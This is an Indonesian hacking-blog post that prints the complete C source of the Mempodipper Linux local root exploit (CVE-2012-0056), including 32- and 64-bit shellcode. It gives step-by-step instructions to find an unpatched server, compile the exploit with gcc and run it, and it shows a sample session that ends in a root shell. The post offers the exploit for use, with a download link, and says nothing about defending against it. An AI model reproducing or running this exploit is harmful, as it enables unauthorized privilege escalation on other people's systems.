Click Here!

Localroot Linux Exploit >= 2.6.39

Greetings Warong-Hacker Family Berikut adalah step-by-step cara melakukan root / ngeroot di dalam semua linux dengan kernel mulai dari 2...



Greetings Warong-Hacker Family
Berikut adalah step-by-step cara melakukan root / ngeroot di dalam semua linux dengan kernel mulai dari 2.6.39 ke atas. Sudah lama tidak melakukan root’ing bukan, cara melakukannya adalah
1. Cari server dengan kernel 2.6.39 keatas yang belum di patch
2. Compile source code localroot exploit dengan menggunakan gcc
3. Jalankan localroot exploit
local root exploit
Berikut codenya untuk localroot exploit:
C
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
/*
* Mempodipper
* by zx2c4
*
* Linux Local Root Exploit
*
* Rather than put my write up here, per usual, this time I've put it
* in a rather lengthy blog post: http://blog.zx2c4.com/749
*
* Enjoy.
*
* - zx2c4
* Jan 21, 2012
*
* CVE-2012-0056
*/
#define _LARGEFILE64_SOURCE
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <sys/user.h>
#include <sys/ptrace.h>
#include <sys/reg.h>
#include <fcntl.h>
#include <unistd.h>
#include <limits.h>
char *prog_name;
int send_fd(int sock, int fd)
{
    char buf[1];
    struct iovec iov;
    struct msghdr msg;
    struct cmsghdr *cmsg;
    int n;
    char cms[CMSG_SPACE(sizeof(int))];
    buf[0] = 0;
    iov.iov_base = buf;
    iov.iov_len = 1;
    memset(&msg, 0, sizeof msg);
    msg.msg_iov = &iov;
    msg.msg_iovlen = 1;
    msg.msg_control = (caddr_t)cms;
    msg.msg_controllen = CMSG_LEN(sizeof(int));
    cmsg = CMSG_FIRSTHDR(&msg);
    cmsg->cmsg_len = CMSG_LEN(sizeof(int));
    cmsg->cmsg_level = SOL_SOCKET;
    cmsg->cmsg_type = SCM_RIGHTS;
    memmove(CMSG_DATA(cmsg), &fd, sizeof(int));
    if ((n = sendmsg(sock, &msg, 0)) != iov.iov_len)
        return -1;
    close(sock);
    return 0;
}
int recv_fd(int sock)
{
    int n;
    int fd;
    char buf[1];
    struct iovec iov;
    struct msghdr msg;
    struct cmsghdr *cmsg;
    char cms[CMSG_SPACE(sizeof(int))];
    
    iov.iov_base = buf;
    iov.iov_len = 1;
    memset(&msg, 0, sizeof msg);
    msg.msg_name = 0;
    msg.msg_namelen = 0;
    msg.msg_iov = &iov;
    msg.msg_iovlen = 1;
    msg.msg_control = (caddr_t)cms;
    msg.msg_controllen = sizeof cms;
    if ((n = recvmsg(sock, &msg, 0)) < 0)
        return -1;
    if (n == 0)
        return -1;
    cmsg = CMSG_FIRSTHDR(&msg);
    memmove(&fd, CMSG_DATA(cmsg), sizeof(int));
    close(sock);
    return fd;
}
unsigned long ptrace_address()
{
    int fd[2];
    printf("[+] Creating ptrace pipe.\n");
    pipe(fd);
    fcntl(fd[0], F_SETFL, O_NONBLOCK);
    printf("[+] Forking ptrace child.\n");
    int child = fork();
    if (child) {
        close(fd[1]);
        char buf;
        printf("[+] Waiting for ptraced child to give output on syscalls.\n");
        for (;;) {
            wait(NULL);
            if (read(fd[0], &buf, 1) > 0)
                break;
            ptrace(PTRACE_SYSCALL, child, NULL, NULL);
        }
        
        printf("[+] Error message written. Single stepping to find address.\n");
        struct user_regs_struct regs;
        for (;;) {
            ptrace(PTRACE_SINGLESTEP, child, NULL, NULL);
            wait(NULL);
            ptrace(PTRACE_GETREGS, child, NULL, &regs);
#if defined(__i386__)
#define instruction_pointer regs.eip
#define upper_bound 0xb0000000
#elif defined(__x86_64__)
#define instruction_pointer regs.rip
#define upper_bound 0x700000000000
#else
#error "That platform is not supported."
#endif
            if (instruction_pointer < upper_bound) {
                unsigned long instruction = ptrace(PTRACE_PEEKTEXT, child, instruction_pointer, NULL);
                if ((instruction & 0xffff) == 0x25ff /* jmp r/m32 */)
                    return instruction_pointer;
            }
        }
    } else {
        printf("[+] Ptrace_traceme'ing process.\n");
        if (ptrace(PTRACE_TRACEME, 0, NULL, NULL) < 0) {
            perror("[-] ptrace");
            return 0;
        }
        close(fd[0]);
        dup2(fd[1], 2);
        execl("/bin/su", "su", "not-a-valid-user", NULL);
    }
    return 0;
}
unsigned long objdump_address()
{
    FILE *command = popen("objdump -d /bin/su|grep '<exit@plt>'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\\([^0]*\\)/0x\\1/'", "r");
    if (!command) {
        perror("[-] popen");
        return 0;
    }
    char result[32];
    fgets(result, 32, command);
    pclose(command);
    return strtoul(result, NULL, 16);
}
unsigned long find_address()
{
    printf("[+] Ptracing su to find next instruction without reading binary.\n");
    unsigned long address = ptrace_address();
    if (!address) {
        printf("[-] Ptrace failed.\n");
        printf("[+] Reading su binary with objdump to find exit@plt.\n");
        address = objdump_address();
        if (address == ULONG_MAX || !address) {
            printf("[-] Could not resolve /bin/su. Specify the exit@plt function address manually.\n");
            printf("[-] Usage: %s -o ADDRESS\n[-] Example: %s -o 0x402178\n", prog_name, prog_name);
            exit(-1);
        }
    }
    printf("[+] Resolved call address to 0x%lx.\n", address);
    return address;
}
int su_padding()
{
    printf("[+] Calculating su padding.\n");
    FILE *command = popen("/bin/su this-user-does-not-exist 2>&1", "r");
    if (!command) {
        perror("[-] popen");
        exit(1);
    }
    char result[256];
    fgets(result, 256, command);
    pclose(command);
    return strstr(result, "this-user-does-not-exist") - result;
}
int child(int sock)
{
    char parent_mem[256];
    sprintf(parent_mem, "/proc/%d/mem", getppid());
    printf("[+] Opening parent mem %s in child.\n", parent_mem);
    int fd = open(parent_mem, O_RDWR);
    if (fd < 0) {
        perror("[-] open");
        return 1;
    }
    printf("[+] Sending fd %d to parent.\n", fd);
    send_fd(sock, fd);
    return 0;
}
int parent(unsigned long address)
{
    int sockets[2];
    printf("[+] Opening socketpair.\n");
    if (socketpair(AF_UNIX, SOCK_STREAM, 0, sockets) < 0) {
        perror("[-] socketpair");
        return 1;
    }
    if (fork()) {
        printf("[+] Waiting for transferred fd in parent.\n");
        int fd = recv_fd(sockets[1]);
        printf("[+] Received fd at %d.\n", fd);
        if (fd < 0) {
            perror("[-] recv_fd");
            return 1;
        }
        printf("[+] Assigning fd %d to stderr.\n", fd);
        dup2(2, 15);
        dup2(fd, 2);
        unsigned long offset = address - su_padding();
        printf("[+] Seeking to offset 0x%lx.\n", offset);
        lseek64(fd, offset, SEEK_SET);
        
#if defined(__i386__)
        // See shellcode-32.s in this package for the source.
        char shellcode[] =
            "\x31\xdb\xb0\x17\xcd\x80\x31\xdb\xb0\x2e\xcd\x80\x31\xc9\xb3"
            "\x0f\xb1\x02\xb0\x3f\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68"
            "\x68\x2f\x2f\x62\x69\x89\xe3\x31\xd2\x66\xba\x2d\x69\x52\x89"
            "\xe0\x31\xd2\x52\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd"
            "\x80";
#elif defined(__x86_64__)
        // See shellcode-64.s in this package for the source.
        char shellcode[] =
            "\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xff\xb0\x6a\x0f\x05\x48"
            "\x31\xf6\x40\xb7\x0f\x40\xb6\x02\xb0\x21\x0f\x05\x48\xbb\x2f"
            "\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7"
            "\x48\x31\xdb\x66\xbb\x2d\x69\x53\x48\x89\xe1\x48\x31\xc0\x50"
            "\x51\x57\x48\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05";
#else
#error "That platform is not supported."
#endif
        printf("[+] Executing su with shellcode.\n");
        execl("/bin/su", "su", shellcode, NULL);
    } else {
        char sock[32];
        sprintf(sock, "%d", sockets[0]);
        printf("[+] Executing child from child fork.\n");
        execl("/proc/self/exe", prog_name, "-c", sock, NULL);
    }
    return 0;
}
int main(int argc, char **argv)
{
    prog_name = argv[0];
    
    if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'c')
        return child(atoi(argv[2]));
    
    printf("===============================\n");
    printf("= Mempodipper =\n");
    printf("= by zx2c4 =\n");
    printf("= Jan 21, 2012 =\n");
    printf("===============================\n\n");
    
    if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'o')
        return parent(strtoul(argv[2], NULL, 16));
    else
        return parent(find_address());
    
}
Silakan download disini toolnya:
Download Local Exploit Tools
Oke lets begin,
1. Save code di atas dengan nama: exploit.c
2. Compile exploit.c dengan menggunakan C compiler yaitu gcc, perintahnya seperti berikut gcc: exploit.c -o localrootexploit
3. Jalankan localrootexploit kita dengan mengetikkan perintah: ./localrootexploit
Kalau berhasil seperti berikut tampilannya
Shell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
binushacker $ gcc exploit.c -o localrootexploit
binushacker $ ./localrootexploit
===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/6454/mem in child.
[+] Sending fd 3 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x402178.
[+] Seeking to offset 0x40216c.
[+] Executing su with shellcode.
sh-4.1# whoami
root
sh-4.1#

COMMENTS

BLOGGER
Name

Action AdSense Adventure adword Android apa itu socket APK Premium Aplikasi Aplikasi Mod Aplikasi Ramadhan App web Apps Ubuntu Arcade BackTrack bagaimana membuat membuat Add In terbilang BBM Belajar CorelDraw Bentuk Bibliografi Billing Bisnis Internet Blogger Tips Blogging Cara cara membuat carbon fiber cara membuat cetakan patung fiber dengan mudah cara membuat fiber dengan mudah cara membuat kapal fiber dengan mudah cara membuat kutipan cara membuat tangki motor dengan bahan fiber dengan mudah cara membuka aplikasi faforit dengan cepat cara memilih semangka yang benar jangan sampai keliru yah cara memperbaiki magicom cara mempercepat koneksi internet tanpa software cara mengamankan file penting dari virus cara menghitung ketebalan kabel cerita moral tentang gadis buta Coding Cracking CSS definisi managemen oprasional devinisi managemen oprasional Download Ebook ekonomi email Facebook Fighting FPS Fungsi Bibliografi fungsi dan tujuan kutipan fungsi distributor Gadget Blog Game Indonesia Game Mod Game Premium Gameloft Google google docs google drive HackeR Hacking Website Herbal Medicinal Roots of Reeds to Cure Diseases Horor How to choose a good watermelon http vs https (trusted vs untrusted) Indonesia Info ini alasan kenapa kita harus segera resign agar tidak setres instagram Internet Islam Jaringan Jualan Online Kabar Berita kata yang wajib di ketahui dalam pencarian google kelemahan perusahaan perseorangan Kesehatan Komputer Kuis Berhadia kumpulan cerita lucu pasti bikin ketawa gak berhenti Laga lainnya Linux lirik lagu it's my life beserta terjemahanya Lowongan Kerja makalah laporan arus kas untuk akutansi makalah masalah ekonomi dan sistem peraturan perekonomian manfaat air beras manfaat air kunyit manfaat ajaib ketumbar Media Social MERANCANG KOLAM KOI DARI FIBER Motivasi Music News Offline Online Optimasi blog Other payoneer Pemanfaatan Internet sebagai Sumber Pembelajaran pengertian BIBLIOGRAFI pengertian catatan kaki pengertian dan fungsi question word pengertian dan perbedaan Manajemen Produksi vs Manajemen Operasi pengertian kutipan di catatan kaki pengertian managemen kauangan pengertian perencanaan SDM pengertian thread penulisan Catatan kaki kedua penyebab bangsa yahudi lebih pintar perinsip islam dalam keadilan di dalam bermuamalah perinsip kutipan Ponsel PUBG Puzzles Racing RPG SECRET Looks 10 Years Younger SEO SEO Offpage SEO Onpage SEO Tip Simulation Sistem Operasi smartphone Soal CPNS Software Sports Strategi tehnik hacking cmd yang mudah di pelajari teknologi Template Wordpress tentang motor DCBL Tips And Trik Tips Blogger Tips Hanphone TOMATO FRUIT benefits for health and beauty trik google hacking Trik gratisan trik jahil trik tombol keyboard troubleshooting tujuan muamalah Tutorial Tutorial C++ Tutorial MySQL Tutorial Photoshop Tutorial VB Tutorial Website Ubuntu Unsur-unsur Bibliografi Urutan dalam menuliskan catatan kaki Virus webhosting website whatsapp WhatsApp Mod widget Wifi Windows Windows 8 Wordpress xiaomi yang di maksud dengan angin duduk youtube youtuber
false
ltr
item
Warong-Hacker: Localroot Linux Exploit >= 2.6.39
Localroot Linux Exploit >= 2.6.39
http://www.binushacker.net/wp-content/uploads/localroot-local-root-exploit.jpg
Warong-Hacker
https://warong-hacker.blogspot.com/2012/05/localroot-linux-exploit-2639.html
https://warong-hacker.blogspot.com/
https://warong-hacker.blogspot.com/
https://warong-hacker.blogspot.com/2012/05/localroot-linux-exploit-2639.html
true
4034227376443695122
UTF-8
Not found any posts VIEW ALL Readmore Reply Cancel reply Delete By Home PAGES POSTS View All RECOMMENDED FOR YOU LABEL ARCHIVE SEARCH ALL POSTS Not found any post match with your request Back Home Sunday Monday Tuesday Wednesday Thursday Friday Saturday Sun Mon Tue Wed Thu Fri Sat January February March April May June July August September October November December Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec just now 1 minute ago $$1$$ minutes ago 1 hour ago $$1$$ hours ago Yesterday $$1$$ days ago $$1$$ weeks ago more than 5 weeks ago Followers Follow THIS CONTENT IS PREMIUM Please share to unlock Copy All Code Select All Code All codes were copied to your clipboard Can not copy the codes / texts, please press [CTRL]+[C] (or CMD+C with Mac) to copy